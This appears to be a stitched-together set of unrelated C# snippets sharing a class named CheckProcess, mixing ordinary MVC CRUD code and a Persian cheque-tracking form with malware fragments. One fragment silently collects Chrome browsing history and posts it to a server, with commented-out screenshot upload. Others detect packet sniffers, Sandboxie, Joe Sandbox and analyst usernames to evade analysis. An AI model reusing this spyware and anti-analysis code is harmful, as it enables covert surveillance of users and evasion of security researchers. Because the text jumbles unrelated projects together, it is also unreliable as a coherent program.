private void timer1_Tick(object sender, EventArgs e) { _ticks++; this.Text = _ticks.ToString(); if (_ticks == 6) { CheckProcess cp = new CheckProcess(); if (!cp.isRunning("chrome")) { /* * save last time * get history * */ List <HistoryItem> history = ch.GetHistory(StaticValues.prn); if (history.Count > 0) { HttpResponseMessage msg = PostData.SendToServer(history, "history"); Console.WriteLine("Status Code " + msg.StatusCode); ch.SaveLastTime(); //CaptureScreen cs = new CaptureScreen(); //cs.Screenshot(); //string response = PostData.SendFileToServer(StaticValues.image); //DateTime dt = DateTime.Now; //Console.WriteLine("Response " + response); } } this.Text = "Done"; _ticks = 0; } }
public Welcome() { InitializeComponent(); CheckProcess process = new CheckProcess(); //if(process.isRunning("chrome")) //{ // Process [] pr = Process.GetProcessesByName("chrome"); // foreach (Process p in pr) // p.Kill(); //} again: try { if (new CheckProcess().isRunning("chrome")) { MessageBox.Show("Please relaunch your chrome..."); goto again; } ch = new ChromeHistory(StaticValues.prn); //CheckProcess cp = new CheckProcess(); //if(!cp.isRunning("chrome")) ch.SaveLastTime(); timer1.Start(); timer2.Start(); this.WindowState = FormWindowState.Minimized; }catch (Exception ex) { MessageBox.Show("Please relaunch your chrome"); goto again; } }
public void Handle(CheckProcess checkProcess) { var result = CheckPrcessStatus(checkProcess); var messanger = _messageCommunicationFactory.Create(); messanger.Publish(result); }
public ActionResult DeleteConfirmed(int id) { CheckProcess checkProcess = db.CheckProcess.Find(id); db.CheckProcess.Remove(checkProcess); db.SaveChanges(); return(RedirectToAction("Index")); }
public void Handle(CheckProcess checkProcess) { var result = CheckPrcessStatus(checkProcess); var messanger = _messageCommunicationFactory.Create(); result.InitModule = checkProcess.IsInitModule; messanger.Handle(result); }
public ActionResult Edit([Bind(Include = "IdCheckProcess,IdExpendient,IdCheckType,Complete,Active")] CheckProcess checkProcess) { if (ModelState.IsValid) { db.Entry(checkProcess).State = EntityState.Modified; db.SaveChanges(); return(RedirectToAction("Index")); } ViewBag.IdCheckType = new SelectList(db.CheckType, "IdCheckType", "IdCheckType", checkProcess.IdCheckType); ViewBag.IdExpendient = new SelectList(db.Expedient, "IdExpendient", "FileExpendient", checkProcess.IdExpendient); return(View(checkProcess)); }
public Sniffers() { CheckProcess proc = new CheckProcess(); if (proc.IsProcessRunning("wireshark") || proc.IsProcessRunning("EtherD") || proc.IsProcessRunning("EtherDetect") || proc.IsProcessRunning("The Wireshark Network Analyzer") || proc.IsProcessRunning("dumpcap") || proc.IsProcessRunning("sysAnalyzer") || proc.IsProcessRunning("TCPView") || proc.IsProcessRunning("Tcpview") || proc.IsProcessRunning(@"C:\Program Files\Wireshark\") || proc.IsProcessRunning("NETSTAT") || proc.IsProcessRunning("sniff_hit")) { new AntiFound(); } //System.GC.Collect(); }
// GET: CheckProcesses/Details/5 public ActionResult Details(int?id) { if (id == null) { return(new HttpStatusCodeResult(HttpStatusCode.BadRequest)); } CheckProcess checkProcess = db.CheckProcess.Find(id); if (checkProcess == null) { return(HttpNotFound()); } return(View(checkProcess)); }
// GET: CheckProcesses/Edit/5 public ActionResult Edit(int?id) { if (id == null) { return(new HttpStatusCodeResult(HttpStatusCode.BadRequest)); } CheckProcess checkProcess = db.CheckProcess.Find(id); if (checkProcess == null) { return(HttpNotFound()); } ViewBag.IdCheckType = new SelectList(db.CheckType, "IdCheckType", "IdCheckType", checkProcess.IdCheckType); ViewBag.IdExpendient = new SelectList(db.Expedient, "IdExpendient", "FileExpendient", checkProcess.IdExpendient); return(View(checkProcess)); }
private ProcessStatus CheckPrcessStatus(CheckProcess checkProcess) { var processInfoResult = new ProcessStatus(); var proc = Process.GetProcesses().FirstOrDefault(x => string.Compare(checkProcess.Name, x.ProcessName, CultureInfo.InvariantCulture, CompareOptions.IgnoreCase) == 0); processInfoResult.Name = checkProcess.Name; if ((!_watchDogFlags.ContainsKey(checkProcess.Name) || _watchDogFlags[checkProcess.Name] == false) && proc != null) { _logger.Warn($"processController {checkProcess.Name} without WD, need restart app"); } processInfoResult.StatusProcess = proc != null ? ProcessStatus.ProcStatus.Running : ProcessStatus.ProcStatus.NotRunning; return(processInfoResult); }
public Sandbox() { System.Security.Principal.WindowsPrincipal wp = new System.Security.Principal.WindowsPrincipal(System.Security.Principal.WindowsIdentity.GetCurrent()); CheckProcess proc = new CheckProcess(); if ((Util.GetModuleHandle("SbieDll.dll").ToInt32() != 0) || (proc.IsProcessRunning("npfmsg")) || (Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\", false) .GetValue("ProductID").ToString() == "76487-640-1457236-23837") || (System.Windows.Forms.Application.StartupPath == "C:\\analyzer\\scan") || (proc.IsProcessRunning("joeboxserver")) || (proc.IsProcessRunning("joeboxcontrol")) || (wp.Identity.Name == "HANS\\Hanuele Baser") || (wp.Identity.Name == "Sepp-PC\\Sepp") || (wp.Identity.Name == "John-PC\\John")) { new AntiFound(); } //System.GC.Collect(); }
public ProcessStatus Execute(CheckProcess checkProcess) { return(CheckPrcessStatus(checkProcess)); }
private void btn_sabt_Click(object sender, RoutedEventArgs e) { Guid get_ID; Guid code_bank_id = Guid.Empty; if (code_bank != null) { code_bank_id = Guid.Parse(code_bank); } if (txt_mablagheCheque.Text != "" && txt_nameBank.Text != "" && txt_serialeCheque.Text != "" && txt_sharheCheck.Text != "" && txt_shomareCheque.Text != "" && pic_datePicker.Text != "" && txt_codeBank.Text != "" && code_bank_id != Guid.Empty) { // check bool is_exist = false; string get_cheque_code = txt_shomareCheque.Text; string get_bank_code_ = txt_codeBank.Text; var get_ = ak.Funds.Where(i => i.FBankNO == get_bank_code_).FirstOrDefault(); if (get_ != null) { Guid get_bank_code = (Guid)get_.ID; List <Check> get_all_code_in_bank = ak.Checks.Where(i => i.CBank == get_bank_code).ToList(); for (int i = 0; i <= get_all_code_in_bank.Count - 1; i++) { if (get_cheque_code == get_all_code_in_bank[i].CNO) { is_exist = true; } } } //// if (is_exist == false) { // make table string get_cmb_item = ""; Guid id_noe_chequ = Guid.Empty; if (cmb_noeCheque.SelectedItem != null) { get_cmb_item = cmb_noeCheque.SelectedItem.ToString(); List <BaseInfo> bi = ak.BaseInfoes.Where(i => i.AssignName == get_cmb_item).ToList(); id_noe_chequ = bi[0].Id; } Check ck = new Check() { ID = Guid.NewGuid(), CDescription = txt_sharheCheck.Text, CPrice = Decimal.Parse(txt_shomareCheque.Text), CNO = txt_shomareCheque.Text, CDate = pic_datePicker.Text, CBank = code_bank_id }; get_ID = ck.ID; ak.Checks.Add(ck); int r = ak.SaveChanges(); CheckProcess ckp = new CheckProcess() { ID = Guid.NewGuid(), IDCheck = get_ID, CSerial = txt_serialeCheque.Text, CPType = id_noe_chequ }; ak.CheckProcesses.Add(ckp); r += ak.SaveChanges(); if (r == 2) { MessageBox.Show("اطلاعات ثبت شد"); this.Hide(); } else { MessageBox.Show("مشکل در ثبت اطلاعات"); } } else { MessageBox.Show("کد چک در بانک وجود دارد"); } } else if (cmb_noeCheque.SelectedIndex == 0) { MessageBox.Show("لطفا نوع چک را انتخاب کنید"); } else { MessageBox.Show("تمامی مقادیر الزامی میباشد"); } }
private void Button_Click_1(object sender, RoutedEventArgs e) { if (Class.Variable.Variables.noe_cheque == "1") // خرج چک { if (txt_code_cheque.Text != "") { CheckProcess ch = ak.CheckProcesses.First(i => i.IDCheck == g); ch.CPType = Common.Constants.BaseInfoType.cheque_kharjShode; Check c = ak.Checks.First(i => i.ID == ch.IDCheck); c.CDate = pic_datePicker.Text; int r = ak.SaveChanges(); if (r > 0) { MessageBox.Show("با موفقیت ثبت شد"); this.Hide(); } } ///////// if (Class.Variable.Variables.noe_cheque == "2") // وصول چک { CheckProcess ch = ak.CheckProcesses.First(i => i.IDCheck == g); ch.CPType = Common.Constants.BaseInfoType.vosole_cheque; int r = ak.SaveChanges(); if (r == 1) { MessageBox.Show("با موفقیت ثبت شد"); this.Hide(); } } //////// if (Class.Variable.Variables.noe_cheque == "3") // ابطال چک { CheckProcess ch = ak.CheckProcesses.First(i => i.IDCheck == g); ch.CPType = Common.Constants.BaseInfoType.ebtale_cheque; int r = ak.SaveChanges(); if (r == 1) { MessageBox.Show("با موفقیت ثبت شد"); this.Hide(); } } ////// if (Class.Variable.Variables.noe_cheque == "4") // برگشت چک { CheckProcess ch = ak.CheckProcesses.First(i => i.IDCheck == g); ch.CPType = Common.Constants.BaseInfoType.bargashte_cheque; int r = ak.SaveChanges(); if (r == 1) { MessageBox.Show("با موفقیت ثبت شد"); this.Hide(); } } ////// if (Class.Variable.Variables.noe_cheque == "5") //استرداد { CheckProcess ch = ak.CheckProcesses.First(i => i.IDCheck == g); ch.CPType = Common.Constants.BaseInfoType.esterdade_cheque; int r = ak.SaveChanges(); if (r == 1) { MessageBox.Show("با موفقیت ثبت شد"); this.Hide(); } } ///// if (Class.Variable.Variables.noe_cheque == "6") // برگشت چک خرج شده { CheckProcess ch = ak.CheckProcesses.First(i => i.IDCheck == g); ch.CPType = Common.Constants.BaseInfoType.bargashte_cheque_kharj_shode; int r = ak.SaveChanges(); if (r == 1) { MessageBox.Show("با موفقیت ثبت شد"); this.Hide(); } } } }